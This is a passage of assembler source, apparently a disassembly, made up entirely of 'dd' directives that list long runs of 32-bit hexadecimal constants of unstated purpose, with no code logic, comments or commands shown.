0D0440A8h, 0F5CE42E6h dd 6359D385h, 1BC30C3Fh, 86A61E62h, 0BC431A59h, 0CDDDA70Ah dd 0D1B0394Eh, 0A9D8AFC0h, 0A7110B2Eh, 5F8D0115h, 36710D67h dd 29B5B7D3h, 77137559h, 1ABCBFEAh, 38519B0Eh, 0AC70CC08h dd 0D4506DCAh, 0E66C0D97h, 5B35E929h, 590882B9h, 0D9429FC9h dd 0DEDB7D4Bh, 0DA3E8102h, 0F6861097h, 4F11FB6Eh, 588538BCh dd 45D0117Bh, 86D556A2h, 4EE13236h, 3C462FC9h, 0A81600B6h dd 9FE8C691h, 72F7383Eh, 93697766h, 33565148h, 0CD37BBE6h dd 88E16E79h, 340C0D8Eh, 1A271298h, 0C8DC639Bh, 0D7FF8A29h dd 631D57E7h, 6B0D59F1h, 262DBC35h, 2F12EB2h, 53A99F30h dd 0BADA11C5h, 64CD5CAEh, 0BE0241EAh, 0ED961AFAh, 0B69D1A53h dd 6859C967h, 45597D85h, 0F46303AAh, 0C57305CFh, 7021AF30h dd 0F2D83908h, 22B13E92h, 37691709h, 6BE8D916h, 9FFBF1BAh dd 0E9ADCC7h, 0B3F7E89Ch, 798273CAh, 38D17943h, 273DA6DFh dd 281E2627h, 0E63B7030h, 0EAD60516h, 93B1B946h, 93C74D6Bh dd 9285B123h, 62842C3Ch, 884D6A97h, 4A7C6B5Ah, 5B07DDA7h dd 0D2AEC9F1h, 41AFA423h, 83C925F0h, 0E7D67CC7h, 6158E0B3h dd 6F2CE03Ah, 0BEC5F318h, 0F4B31F7Bh, 1B521223h, 0CC0CAF5h dd 0F1313733h, 0D60B9A93h, 0B4DE8E7Ah, 0AF28C293h, 701BBA49h dd 0C972286Ah, 0BDEDEB37h, 3A9C41CFh, 0D4CD623h, 0E3480101h dd 1DBEE5D1h, 9B4D268Dh, 17626EE4h, 9F488C41h, 0C0DC65D2h dd 0B63840A6h, 433D7070h, 0F3B895D0h, 54530BE2h, 0E2C102Eh dd 52468F52h, 0AB6F2A99h, 207EFC0Ch, 0E3A44B5Bh, 7DF928E4h dd 6BDC4BD0h, 3BC602BFh, 4BBFA05Dh, 57781A86h, 0F7B1472Eh dd 9989D296h, 6F9C5BDh, 0D2609641h, 0CBA8FE09h, 80A1EC0Ch dd 0D4C5DC2Eh, 77B0C9FCh, 920206EDh, 6857B77h, 0B3B0A033h dd 0A33592D6h, 60429A10h, 0B765A2C8h, 0D71C7B76h, 81E93808h dd 0EE79C409h, 2C47C8D0h, 0D8060895h, 0F30AE79Ch, 2790B5C6h dd 813BADDAh, 55A5A55Bh, 0C2DC2DD6h, 97AB15A2h, 0A2CC7681h dd 0A9E478BDh, 4C35322Ch, 9D49C188h, 84F40F8Fh, 0B0F5D764h dd 148F4DC4h, 46E7392Dh, 0DF0697C0h, 47315E4Ah, 796214A5h dd 0BF139C74h, 2F28D6B8h, 0ECC9C760h, 0C554B59Eh, 9A1B5623h dd 4AAE4E29h, 0EFB9C63Fh, 74245671h, 5104D120h, 0CAC52BE4h dd 1E8F6538h, 0C4FBCD9Fh, 0BA7C65B1h, 2D3F6F4Eh, 40222907h dd 5DA9E649h, 18614CB1h, 2C1B8C09h, 0F5B762C9h, 45CC32FCh dd 0D5FF20B6h, 0F64D3CB0h, 7F4E6867h, 0F333218Ah, 0CB8CCA2Dh dd 0ADAEBE9Ch, 0C665614Fh, 2FC95E2Bh, 0F719E6C9h, 9360AF16h dd 8B532386h, 8FF5C4E3h, 0DC65AD2Ch, 75299C8Fh, 0A0F7C0DBh dd 0FF078D25h, 756E4A65h, 696CF679h, 846ADE50h, 61E4B734h dd 73EEC5B9h, 0DEA77C30h, 7A16E490h, 9D101278h, 0ACE8A784h dd 0DC47E9D9h, 4F14F8BEh, 0B697DB16h, 7F9EC647h, 0AF23D6E0h dd 48C2B53Eh, 9CB56B5Fh, 885B662Bh, 0FBCC4798h, 374326EEh dd 0DD21399h, 70338C2Ch, 47EEC8DBh, 1474BAE5h, 0D1B54681h dd 7BBB6F5Ch, 44AB836Eh, 7F4EA1FDh, 0E5A33F69h, 20B6287Bh dd 1C6E1E7Bh, 1DA6DC30h, 0B9F6D858h, 0B358F790h, 20F292E5h dd 0D41F4632h, 1AD7BDA2h, 38956320h, 93403F8Eh, 42B063DCh dd 0D0237C93h, 0ABC43936h, 82B5AD9Eh, 0BAEFE19Fh, 0A2BA21A8h dd 0F754EA0Bh, 0ACDD5D3Eh, 0DD725916h, 341EC81Fh, 63094658h dd 0A82BBFB3h, 4237240Eh, 0D31B1578h, 2A79B796h, 9A022E29h dd 3A4AC12Ah, 0A72713FAh, 9F799D83h, 33D51BE1h, 0D04B817Dh dd 0B4AB8C33h, 0DD55845Ah, 7D918117h, 40229C07h, 116D53E7h dd 0B0E4200Ch, 89FFF578h, 0B872B65Bh, 43F69173h, 0F03AC518h dd 0EFC44ECEh, 0AC5D8715h, 0BD991158h, 0C6755DB9h, 0D366A5FFh dd 8385990h, 2AA08AFBh, 4375649Ch, 0D981760Eh, 0A94B235Dh dd 4CC8BD7Dh, 95343C20h, 0D86AF46Ch, 1932D1EAh, 2054A736h dd 7477E2Fh, 0AFE014D9h, 0AC9C591Ch, 0D558A0CFh, 9F5D2A13h dd 0C81F7EC7h, 0E42C92CBh, 4695967Ch, 43AC0799h, 4BAA5A10h dd 1595E04Ch, 0D7173474h, 0A004D4E0h, 57BD63DEh, 1D7112FCh dd 932AE74Eh, 70C385E8h, 10ECEF2Fh, 6875239Ch, 0B1A1C08Eh dd 754A2791h, 13CA88C0h, 6CB03433h, 0F89DBC3Dh, 0CC0430ABh dd 837D94DBh, 0A7408D03h, 8A3F7F5Bh, 2BBFD34h, 69F101E7h dd 0BB2D304h, 28737433h, 634E8DCBh, 0B512641Fh, 0A398133h dd 0BC2A0D81h, 3ADF05E8h, 1726DCFBh, 0C3A5290Fh, 0D1696561h dd 31FFB94Eh, 6F4124AFh, 0E87F2D5Dh, 0E3EE8FBAh, 9B7637C1h dd 3F8AB2CEh, 1A22FEBDh, 0F6AEAE71h, 0FB4D457Dh, 948854FDh dd 3EAAAD81h, 467657E9h, 2F36B30Ch, 5775CC87h, 3E53559Ah dd 0FB42F25Ch, 0C6093B5Eh, 0E3A17E04h, 55B216D7h, 0B06F3F38h dd 0EACDBD13h, 0D26F1425h, 68966050h, 0C4EF5E66h, 800312E9h dd 0BE8DDA96h, 0D2E65B11h, 0A8F8CD27h, 0F6907CC2h, 0F7CA2E01h dd 70A69EE2h, 15A796FDh, 2DE70B5Eh, 93F2EF01h, 34C0B94Bh dd 0ACEA2C43h, 0B350EACh, 7E67551Ah, 1C45D553h, 975727E5h dd 0AAC78E1Ch, 23303680h, 87801104h, 5EC42305h, 8776D0A7h dd 0C7792748h, 1EA58ABFh, 8749324Ch, 0FD86E5ECh, 79922370h dd 5526E970h, 0E42796D3h, 54717C38h, 3F60A737h, 0C8BCD81Fh dd 5FB81EDh, 1C16F60h, 3C02FD42h, 0F903EDF7h, 6D1DFE6Eh dd 0F3F22CB2h, 90AA2FCEh, 0CF1360B7h, 5BBEB0DFh, 0D1AF895Fh dd 6C115FD9h, 9D39390h, 3958ADFDh, 200EEF92h, 0D896ED07h dd 0E45CF325h, 852EA1E8h, 0BA47F41Eh, 2CE40878h, 0FE83B981h dd 0D63636Ah, 0C2EBF749h, 2BE29624h, 4394ABABh, 95B2D658h dd 43512806h, 85EC340h, 0CAE1DDC6h, 0F1F0E565h, 341A9B65h dd 2C54656Ah, 376BB943h, 9AFA836Ah, 0D05EC01Ch, 68D6CFBEh dd 78617597h, 0F456E6C6h, 0CA857ECEh, 0EBBAE307h, 6654A2DFh dd 0CC8BF2F9h, 7B369786h, 93DEB401h, 0F9438CDAh, 6CE94C1Ah dd 0FAB28063h, 0CA6D645Dh, 70662AC9h, 804CABA9h, 625403D9h dd 1F180A90h, 8B1CDB63h, 9D06D34h, 40D7084h, 0F484044Ch dd 4B61683Dh, 0B4542FA9h, 29A6EC5Bh, 41FA8A8Ch, 8B7D3D96h dd 1F883B7Eh, 0E5EFC9AEh, 0DF065672h, 0CBDD355Ch, 9FF61E0Ah dd 0ADFA13BAh, 4AB0F58h, 33B2E33Ch, 0C71A0ACDh, 788EDCA3h dd 972E2BD2h, 0C4C5BCE9h, 365BD201h, 0D8387180h, 93C94D2h dd 167FFA54h, 94D90A3Ch, 0D3CC864Ah, 2767DCB9h, 95A0ADBDh dd 0D3F89A5Fh, 86652C47h, 0AED3EEF8h, 33364A02h, 0F672B624h dd 97918B34h, 20A08EDBh, 96B01356h, 0FB30A1D5h, 3AB7B43Fh dd 2D814BDh, 0DB8D369Bh, 6E0ED9F0h, 0E709B3D8h, 768299B2h dd 0CC5D0799h, 7F9A706h, 21C5F5C3h, 0F20EFC62h, 0C386F5F5h dd 6F7F9B18h, 7FC2B612h, 6D17FB7Bh, 9139EAD6h, 648AE7C6h dd 0F41001BAh, 0DB0B6E3h, 0CD1DF58Dh, 94839EB2h, 77A9583Dh dd 89038DEDh, 0CD80DFF3h dd 0C00F890Dh, 0B8F8627Fh, 64ECFCDCh, 7835607h, 1ADB250Bh dd 1ED37706h, 20E3300Ch, 2E7315FEh, 0B368FB7Fh, 4030D29Eh dd 0D9B3D1CCh, 26B86FA8h, 7648D959h, 97A06EA9h, 6672F3FEh dd 0E6F7B349h, 8178EFAAh, 0E171A1B7h, 0E742421Bh, 216C536h dd 1F388DBFh, 0D51ECBE9h, 10129C1Bh, 55FD88Fh, 0E2274EE3h dd 8B0CB477h, 669CAF6Ch, 0C8528132h, 74CFF0FDh, 8A9DB7E9h dd 3838313Eh, 8ABB4FD6h, 27E7EEA1h, 2804E44Fh, 4E1D6BFCh dd 0A433BDC5h, 0A1DEF500h, 0F1509AF0h, 75ECC42Ch, 0A4DB388Fh dd 12F2D2E0h, 0D48FB05Fh, 4E590F44h, 0CE8FB76Fh, 3B16D520h dd 1FDF8CDDh, 83DFC11Fh, 0C1B96B0Fh, 64486E98h, 0AB6491CDh dd 75259018h, 0E3851A50h, 6A4DDFD2h, 0E13CDC9Fh, 81F8461Fh dd 470BB9A0h, 0F9F6F173h, 8BE506CDh, 0FDD55611h, 727A0EAFh dd 0A6D22121h, 0EE4B291Fh, 3A7E7ACEh, 0BCB6553Eh, 0C5100732h dd 89221F87h, 445721B9h, 0E0266054h, 85B59C90h, 0CB861450h dd 0FBF0F64Eh, 238127FAh, 0B21F65DFh, 29B3B64Bh, 0F3025C12h dd 0BD07C974h, 9C687A9h, 7CC5CF16h, 2986243h, 6DAE5C02h dd 104FC36Fh, 0BEC69495h, 2CB5E52h, 0A85CE4B3h, 915AD84Dh dd 8017D85Dh, 411467C8h, 62D50D91h, 0FCEB75FEh, 974602F8h dd 47677CE2h, 577B42C3h, 2F4FB205h, 48DDEB32h, 0E6FD7DADh dd 93399ECCh, 0F6EBD20Bh, 0A823F809h, 0CD475EBAh, 78932792h dd 29757754h, 9A259331h, 8EC254ACh, 0C0CCE462h, 61A25D95h dd 0F0399C1h, 0ED4F6D72h, 46947B65h, 0EF2F72D7h, 9D677694h dd 0AA5B4459h, 311386C6h, 0D177BE00h, 63BA00CAh, 0D80D3BB6h dd 0CA701E60h, 5C5A8CA0h, 3D13C781h, 0AA5A25D9h, 34F40977h dd 72CA749Ah, 0B492DD5h, 19ACF05Dh, 575F1879h, 1E582811h dd 7ADBE3Dh, 4BE65C69h, 8137008h, 0CE012F9Dh, 0AA9ADFF4h dd 4EEE5590h, 9E53C315h, 713F9BADh, 53B04623h, 7B7E0951h dd 9F41C52Dh, 4630FCFCh, 0C3A2B3D4h, 0BFA82BDBh, 1AB5C4BEh dd 58BE87A1h, 533EF83Ch, 4CEA1BE8h, 9DAAB28Ch, 0B8A9188Fh dd 3DB2043Ah, 0EE926632h, 0C25AFBB8h, 7D150879h, 42008D93h dd 0D2320B3Ch, 6E887B72h, 0E26193FEh, 0E631AB00h, 53A26333h dd 0CC3DA565h, 7E3B784Eh, 914F8BE0h, 6E82249Ch, 0C5783D4Eh dd 0D2A1D5DFh, 30359390h, 6D0CEE65h, 2FE49B6Ah, 6A8F8F17h dd 5C316A52h, 3395C34Bh, 0CEA0FD5h, 42645F6Dh, 3CA9AA93h dd 8E7D7621h, 6EBD24ECh, 0D37BC164h, 0B0B3E5ADh, 0D0473F5Ah dd 11BBC2ACh, 0EA1A18DBh, 72910DDh, 194FEAE9h, 0AD5AAE5Dh dd 0ABE9FE66h, 0C61DFABEh, 7F07890Fh, 33FF33ACh, 4C5C05B6h dd 905481Ch, 41879BA1h, 3D7F0BD4h, 0B29CFE2Eh, 0F2DCF72Fh dd 0B2CB0EDDh, 2397466h, 4BECD1F2h, 0DB713AEAh, 91EB6CB7h dd 0FF6128EDh, 9C7BC9C2h, 53BCC832h, 0F1E5D96Fh, 0A7FC2B6h dd 5D651E07h, 0DC24C498h, 89BFED2h, 0F7B60FE1h, 4737A0Ah dd 0A999DFDFh, 0FB62AFB5h, 6E06F4D2h, 18F28E4Fh, 0CA0E169h dd 281D3FE5h, 4231B1D5h, 0FC92E90Eh, 1276C440h, 147B9F47h dd 70723F93h, 66483C1Ah, 17115E07h, 0B69B55E5h, 490D511Ah dd 0E69D1EFDh, 0D4719578h, 282AF5BDh, 0C39E64B5h, 0E8E4F491h dd 9E034A77h, 3AED464Eh, 0CB55AA5Bh, 0E5E12FDFh, 8BE5100Ah dd 7EC126A0h, 7A1F5990h, 0BC86297Eh, 15852DBFh, 62099737h dd 0A4F1F4F7h, 0C48A17E4h, 535DE404h, 303D49Ah, 0AFAB2A2Dh dd 0B7739B8h, 3CB06400h, 600872C2h, 0AD21901Bh, 0FB824CE7h dd 0B67F9982h, 9AAEC7B7h, 454EAEADh, 50480235h, 0B8C3CAF7h dd 8105E0FEh, 0D2AE3BC5h, 844576AEh, 61A7F5CEh, 94E07412h dd 0C9A988BCh, 29C64CEh, 0A6EE7DD9h, 85950FDBh, 3745C397h dd 84D571B7h, 0B42583E2h, 70B09E23h, 57782AA5h, 8931C177h dd 2D1FAB33h, 532724AFh, 0D610A13Dh, 69ABA23Eh, 0AD9D3E18h dd 96331B1Ah, 1C0837BCh, 68ED6703h, 0C2BFD652h, 19796511h dd 3CC2422Ah, 96E1FE8Bh, 0BB6DE8FBh, 0E4903A30h, 4BD4D96Ch dd 0A95ED321h, 0F981A1CCh, 9193D2Fh, 68A5DF99h, 0CBC19415h dd 8EB215FBh, 80E5D79Eh, 0C4788A81h, 0E1ACCF2Ch, 5BEB408Ch dd 0C635E950h, 89198C79h, 0CE1A56C3h, 3C26E362h, 0FCB634BAh dd 0B720F0F5h, 58F78878h, 585B6897h, 0D0A2BC47h, 15674E35h dd 0C0F2D864h, 0B3DBD01Ah, 398606D5h, 0E1296168h, 4758E223h dd 0CC82B3Dh, 0EC35E195h, 0E28708B7h, 0A9780A32h, 77637B46h dd 0CCBB52B6h, 0F24FE79Eh, 9A182C6Ch, 6A4BE54Fh, 8AFDA91Ch dd 6D1E2EE5h, 351E0FEFh, 1CFD5FAh, 2FE0AF73h, 4F3A8FDh dd 0EFCC4C24h, 94DAAC53h, 5C313C32h, 110457C3h, 0DAB3E987h dd 7B4F61Ah, 5F085E7Eh, 1BD3F1BEh, 4FC493BCh, 168C1286h dd 75F42EE3h, 0BF099180h, 4F084B1Eh, 0B79EF9C6h, 894DA52Bh dd 6F78DEF9h, 0DAEE2029h, 38735BF9h, 6E89819Bh, 6054F66Dh dd 0FCD3C82Bh, 64407AE4h, 78B70549h, 0A1A4A87Dh, 0D4DC7B90h dd 13A3A801h, 98B72C38h, 0D4F88113h, 0DA2F7489h, 0A3455727h dd 0CF9AC18Eh, 2DF801A2h, 95E139F2h, 35EE8588h, 0DB2ED982h dd 9E30D90Ah, 304B7418h, 3ECC8361h, 6B6C6F9h, 0C5636786h dd 580C4FBDh, 7E91B128h, 6A4A0AA8h, 0E8EF213Fh, 42DBBADEh dd 9378B161h, 7CA1D07h, 0E83C6400h, 19368D1Ah, 143C514Fh dd 447C0DA9h, 0AB2E1398h, 812053E2h, 8B6C6931h, 4C0FC412h dd 3584ADFDh, 23807499h, 0CA5033A1h, 6A7A35C0h, 3162147Dh dd 9D82BC8Ch, 355E525h, 0BB69E7E6h, 0C8B8E93Ah, 1247D186h dd 1B7EF6EFh, 11CDFBEAh, 86928013h, 0D9041767h, 0F4732AC7h dd 64917C29h, 0F7A7C989h, 2AE317h, 0FA540DAEh, 2CBD3E0Dh dd 8EE75E97h, 56B90CA2h, 0EFD41FC8h, 6771A086h, 0FDB98F50h dd 0BD0A51A4h, 2F736373h, 77F82432h, 0E739575Eh, 0B42C9792h dd 9E715122h, 27AB4A81h, 2030E084h, 678B2CAAh, 2158BE38h dd 43091629h, 2CDDFC08h, 0CC4C66E3h, 0BE25E317h, 336CE9B4h dd 0EC4A74A8h, 5049A71Fh, 767129A7h, 0E59BCA16h, 9CAAAF1Ch dd 99E117F1h, 0A292911Ah, 0DA762EB5h, 73EF3342h, 0FB8910C1h dd 83D41D05h, 46A56AB4h, 9276509Fh, 0F8A525BBh, 0E6100E49h dd 7287BD2Ah, 609CB24Eh, 7BE3C2EAh, 507C96A9h, 0C41B4CFBh dd 0F7D22219h, 45387993h, 0F58C49Bh, 0F3162C6Eh, 82928F48h dd 410E2BA1h, 97F74562h, 8B00D9E7h, 0C3604801h, 2C18BBDEh dd 0A2E7A8ACh, 7724AEE6h, 1AC78A3Ah, 317D042Eh, 0F6A936C6h dd 6681173Ah, 11B7A5C5h, 838376E2h, 3DC8DBFFh, 33169B26h dd 0F4A68933h, 0B36393E0h, 73D8F67Bh, 7158B3E3h, 2590D00Ch dd 6F6F79AEh, 0B53006C6h, 988E1DB3h, 325269DCh, 0E9B1D207h dd 0FB8D0638h, 3F01C53Ah, 0AB9E2E08h, 9311BBD8h, 0E548845h dd 7C8D745Bh, 6848AD47h, 641F99FBh, 204DEADEh, 39B83EF3h dd 15257823h, 84790353h, 0CE20C1EDh, 62FC4C40h, 0DAA613BFh dd 87D70276h, 676F8D9Fh, 6F10B354h, 2CA3977Eh, 6C6A0EF3h dd 406ACD36h, 4CB8773Fh, 0C03F5265h, 526EA064h, 98B8CCD5h dd 620868A4h, 959ED2Bh, 35A08D99h, 482FAE6Bh, 387DEFF5h dd 54A4C6C7h, 4FE28AC9h, 0AC5C969Ch, 0F1B2328Ah, 0C20762E6h dd 0D915D98Fh, 7F3C7622h, 0B445D717h, 0E0174A70h, 1048C47h dd 9D6BC690h, 32BCC862h, 9B2A9CC4h, 0A57637A6h, 2C73194Eh dd 0A10625AAh, 5A9638BEh dd 10162996h, 5BCB05F7h, 0A126A782h, 0D029B345h, 36557F2Bh dd 5D9607D5h, 0EA102756h, 0AE8A78DCh, 44D8693Ch, 0F203D864h dd 0C1C5AB18h, 7A0E4238h, 0A0AE3F4Fh, 402FA63Bh, 5A17D31Dh dd 0ACCCE9B2h, 0D2659387h, 0FAE902A9h, 0FE3297B2h, 0C9035E6Ah dd 0CEE568F4h, 440A1D92h, 0B9AB0462h, 0B3B7FE4Eh, 14ED93B9h dd 1762DBFCh, 4152A59Ch, 68BDBAABh, 9077F1Bh, 0E48C18B6h dd 48BF4F5Fh, 0D2DC9C84h, 2145A076h, 2478D533h, 213B9EE8h dd 730DF9A8h, 82DBFEC0h, 0D41D7907h, 6A54650Ah, 0F0C36A3Eh dd 0AE3644C8h, 0F8E53827h, 9633E67Ah, 731BA6Bh, 841F507Ah dd 0DCED0CFAh, 0F583C903h, 6F3F9999h, 0C6818741h, 0CD94C607h dd 0B7B60326h, 0C6C4B4D3h, 58DA4030h, 8A374708h, 0FDD900B1h dd 0AD9EDBF6h, 0C0A8E3CAh, 925A5E02h, 8A6473BFh, 86952FD2h dd 481140CCh, 72C9ED2Eh, 50B4F966h, 77826747h, 624597B0h dd 226CB5A1h, 0FF484034h, 68A51A1Ah, 0DA708558h, 9E921818h dd 9005361Dh, 4EC07B7h, 507235B5h, 79AE6F25h, 0BDA30A3Fh dd 0F02C1242h, 3654F94Fh, 9FE3E562h, 0B5A16DF3h, 6B1406C0h dd 5859D4D5h, 6FB27AC6h, 2ED58965h, 0C616A85Ch, 256465FEh dd 682DD03Dh, 9C2A477h, 0FDF71E7Ch, 0F9B9960Dh, 8C68F52h dd 0E960E0FDh, 9D4EDDE2h, 83286C9Dh, 20DA8F0Dh, 0BE543EBh dd 0D169C2C7h, 0B731361h, 6B10D6E9h, 0FF68888Bh, 27E7162h dd 0BD1BA20Dh, 3AB0E3B8h, 1D76A2F1h, 0ACD1C899h, 0BCB2FA76h dd 4C224BE6h, 0CCF8DFD1h, 9339B344h, 0A343D925h, 0B1C4153h dd 0C70B9867h, 8370CD25h, 0EEFE05B2h, 58C4AADAh, 0AF47A3D3h dd 0B58A5838h, 898A179Eh, 627BA0F2h, 0A008BFF5h, 40F13F47h dd 0E08DFD1Ah, 70C75FFFh, 0C9D8535Bh, 31B65132h, 0FF232D2h dd 0A30D646Ch, 81358DE1h, 87382A6Fh, 0F31AF731h, 0A28FCF77h dd 0C406745Ch, 4A4F7502h, 74E843A8h, 0FAF8FF5Eh, 5ECA2A16h dd 9402B229h, 91BB0096h, 0A030C777h, 21BE52EEh, 4DCE195Eh dd 0A009C4DFh, 976A0C7Fh, 0A2355B41h, 94279ED9h, 387B9350h dd 0B69BAF12h, 8070D7E9h, 0E2AF9394h, 6EDBA500h, 0CBC7B365h dd 0ADBD587Eh, 993BAD76h, 816651C6h, 2458EC23h, 4C65E816h dd 4BF8C51h, 0B671C2EEh, 0E4FB3C48h, 0F7913DCBh, 358A2F2Eh dd 7CBE0168h, 0F074581Bh, 8EF1DF49h, 26AB13A3h, 0B04B2160h dd 3AEE8579h, 0C25822ABh, 8CF56EE0h, 381D9197h, 0F9A8608Eh dd 142A0B65h, 28AD140h, 7610B925h, 0D697FD5Eh, 4A334225h dd 0F61990EAh, 481BDB29h, 0CF3E4653h, 0B9B7168Eh, 4F8889A8h dd 0CB2F990Ah, 63427779h, 34C7D724h, 6AC6A1A1h, 0A514C2FEh dd 3187006Fh, 0CF9D9B73h, 20555701h, 5B757642h, 1ED0DD67h dd 5FE928E1h, 51BC43D3h, 1004F45Ch, 0F935DE2Ch, 0DF71AD11h dd 936FAEA5h, 0FF0A32D9h, 8285569Bh, 4E4B57CDh, 0A95F7E3Ah dd 19873B30h, 0F2EE80Eh, 0A34BFFBCh, 22540E8h, 0D2C86348h dd 0CDD4B102h, 0CA01950Bh, 0CFA0DBBFh, 54ED5550h, 72B97D12h dd 0D02DAFDBh, 0B02AFF68h, 0CC2BAF4h, 9228AFF7h, 6CF6BBF9h dd 53FACD98h, 5F13A00Fh, 0CFE60D93h, 0CAA40514h, 54784C03h dd 0C5A737C3h, 0CFD478A3h, 3E1425AAh, 0AD8B0D74h, 2F0E9979h dd 229FC8FBh, 0FBA1CC85h, 0BF33DB5Dh, 0D36EA5F5h, 490A9765h dd 0A546CF0Ah, 67D2B84Bh, 14E62841h, 587DE625h, 7BD11082h dd 0A6C528h, 35069A1Ch, 0A46F26A2h, 130D5D19h, 0EE31DECDh dd 5AC9B4E6h, 1C6BD675h, 0D8A6A401h, 0E546990h, 0E922245h dd 0A36F9A98h, 13ECC040h, 85FC2C7Ch, 5F88BE2h, 3E3C85FAh dd 7E5531EFh, 0B8B7A37Ch, 0E2E776CDh, 77C15D29h, 15E106C9h dd 34B103A0h, 9E19D386h, 0A3EDBCB9h, 413F1C4Ah, 4B27907Fh dd 0C71CD879h, 0F9238DCAh, 45E949F6h, 6E573537h, 3CC578ADh dd 86683302h, 62ACA9A0h, 0DB42473Dh, 429EE322h, 0F700B21Bh dd 8BBC36EDh, 27A8ACC2h, 9707ECD2h, 90B7D966h, 25AD0E5Dh dd 0E9D4B85Fh, 0FB8A2B36h, 0AC935BEDh, 1BF0C474h, 91D0061Ch dd 70E28B0Ah, 1948D7FCh, 0BF67B29Ah, 80FAC1B5h, 128D8295h dd 2B0EE09Fh, 76221141h, 6914978Ah, 997AA426h, 75D34314h dd 8355254h, 0B357214Bh, 0BEF5D658h, 0D9DB6C1Fh, 0CBF63F12h dd 0CC9CB020h, 22708831h, 2F307F80h, 0AA2CC024h, 9B0A44F1h dd 89A00F9Ah, 4D5082D0h, 0A71D113h, 4B0F6557h, 0FC0D210Eh dd 0B4408514h, 6D749C68h, 2FFF1355h, 5BF9C9E7h, 0B145073Bh dd 0C56448F9h, 4F48AAEEh, 0FE654AFFh, 5CAD718Eh, 28D8F464h dd 0C94C85C7h, 62151D80h, 87989A8h, 12376C65h, 0D60D4692h dd 0CCA0A32Eh, 0EAA33AFEh, 0DD26AD42h, 0B3BF6682h, 0B83ED4A2h dd 2B3A014Dh, 82623035h, 4DD9C7A7h, 5E36AD30h, 615D28AFh dd 0B78289D7h, 3CFB18EDh, 9681555Eh, 0C56A27F3h, 17A1D191h dd 45356E79h, 0BE5CBFCAh, 0CD8FF7AFh, 0FBF36E8Eh, 5652BA22h dd 4C2511A6h, 42E5B52Fh, 0E7DE8A10h, 0F2C012FDh, 0CF5A1244h dd 0AD6B460Ch, 56F8D2A9h, 4EFE0289h, 3B62CE9Ah, 7AB4FD60h dd 0EDCE5EBEh, 0A8ADDB9Ah, 536DC7EEh, 37776FBDh, 0A5551137h dd 2A371C29h, 0B2FE78B2h, 0F2EB85B6h, 44D1ED77h, 8B4E00Bh dd 0FCB18B5Fh, 0B663B84Eh, 119FD02Fh, 0CBCC92D4h, 0E6B55F6h dd 6212BE7Eh, 15D0C2D0h, 0B4EDF72h, 0C0BF0A97h, 0E2B9CE2Dh dd 7D5A3CB9h, 943B7E22h, 7E924BD7h, 6EF0BD6Ch, 6D24AAD2h dd 6970AE6Ch, 7638674Ch, 81CD15B6h, 0C1F8FF5Bh, 0A1439657h dd 1B065597h, 81E58D98h, 82553F05h, 0A4ECBD32h, 271B80FFh dd 5B8A07D1h, 81ECAB07h, 2A8398CCh, 0E9469AF7h, 170E5314h dd 6EEE131Ch, 619E42F0h, 51214D94h, 0A7C3F193h, 0D84C6372h dd 6E5DEC62h, 9E7555C4h, 20FDD0E4h, 3B28FEC3h, 5D7B73CCh dd 177C2ED4h, 0B569B9CBh, 0A0AF0B79h, 87A1BBC6h, 1B6EAD74h dd 42F41E1Eh, 16711BC3h, 0EC3C428Ah, 3BF8E508h, 0DE9F54Eh dd 725C7761h, 7F3E18F2h, 5AC7380Bh, 8C4700D4h, 5F82905Ch dd 6EAFCA3Eh, 0D21F042Dh, 83C2D2B3h, 165B0648h, 2CCF229Dh dd 62F325CEh, 3691C1FBh, 8588706Fh, 0FA3F864h, 0E7D16EC2h dd 0C47A5011h, 0B497A7BEh, 6A9610FBh, 7D984FD5h, 82251365h dd 53C949B4h, 5F27F0F0h, 422A9B6Fh, 44A94421h, 0DD128C26h dd 231E45FCh, 7CF6062Fh, 2A544789h, 96A0A417h, 81C36884h dd 8419EBFEh, 84D75C85h, 0E1829001h, 8D465882h, 0B5418A7Eh dd 78B912A0h, 0BB1D22EAh, 3C9630F8h, 0A5F31AF3h, 809F3FBEh dd 6A6A670Dh, 504427A9h, 0B0337BB0h, 680C855Dh, 59646EE9h dd 138EF8DAh, 7620B9CBh, 85F4874Eh, 23DD6A2Bh, 6B45049Eh dd 82C2A9E3h, 1C367664h, 8F60F43Eh, 0B4364183h, 0EDB677E7h dd 2EA119B7h, 5203CBDBh, 9D689A0Ch, 4E282F41h, 6639F3FBh dd 3635DEBAh, 0D59EC2DFh, 0F405C121h, 0EA50A5EEh, 9BA1FBB5h dd 0A1C6B31Dh, 4928FA9Ch, 4036A6D0h, 8D9796A8h, 0EC1337B2h dd 6A700040h, 9889F3C2h, 6FEFD94Fh, 47271F2Bh, 0FDEE551Eh dd 0DDB8CBE1h, 0BC720C31h, 40A32C9Fh, 1BF56F54h, 26AF6B15h dd 5042B980h, 297CA47Ah, 8A85F5A6h, 0CBBFFF4Eh, 7D84F59h dd 0D2BDA355h, 0B33B727Bh, 4AD418Eh, 1F05D41Ch, 0A89A984h dd 0AD1ECFE4h, 88C4166Ah, 0FEC0D952h, 0A214672Ah, 430131D3h dd 0A339E783h, 4E109C3Ch, 4A3693AFh, 906ED8A4h, 0A2A9153Ch dd 0CE64CD2Bh, 0F371EF1Ah dd 6F40C08Dh, 98B67D2Fh, 5CF54731h, 4EAB0838h, 2885E0F5h dd 0FB3D1AC1h, 0F2D99137h, 0E85609A1h, 9BEAD441h, 85475571h dd 0EF13286Ch, 0E365919Fh, 0F71DD111h, 4FCF8C4Bh, 0A7E587A6h dd 0F22098E6h, 0B389DD0Eh, 0C886D979h, 5075C4ECh, 4B1FC83Ch dd 5F12DA7Ch, 4EE2A152h, 48DE4090h, 39B8A08h, 11DE229Ch dd 11CEFF88h, 7D1DF93Fh, 0B75483C1h, 0CDB08955h, 5CCF65D1h dd 8CDE7500h, 73B47439h, 48B05F0Dh, 5DBBC927h, 10693A17h dd 3CA77D56h, 1160C669h, 7A16570Fh, 17BBD7F9h, 0A11D2C08h dd 0B8C11F9Ch, 1987F3F1h, 0FC27E93Ch, 0F205B2B1h, 4A23FE1Dh dd 0DB77754Dh, 8C6AC501h, 0E4171FA3h, 20B64190h, 0E06C9802h dd 6752862Fh, 8A5DCD18h, 9DE9BC06h, 5CE55AD5h, 0D89B5EC9h dd 14E8C928h, 0BCF25568h, 97C9A70Dh, 0E15E8E70h, 0C4E76B4Eh dd 9B3476F7h, 0AFDAF151h, 6CA948C3h, 6D052FAEh, 1D873E66h dd 96474FD6h, 80B04C6h, 70909B40h, 0A97BE2B8h, 51FF8629h dd 0F498A790h, 4F09E3B1h, 0D68EBE23h, 1B2ADD3Ch, 0FEA4BD6Dh dd 7392270Fh, 56962550h, 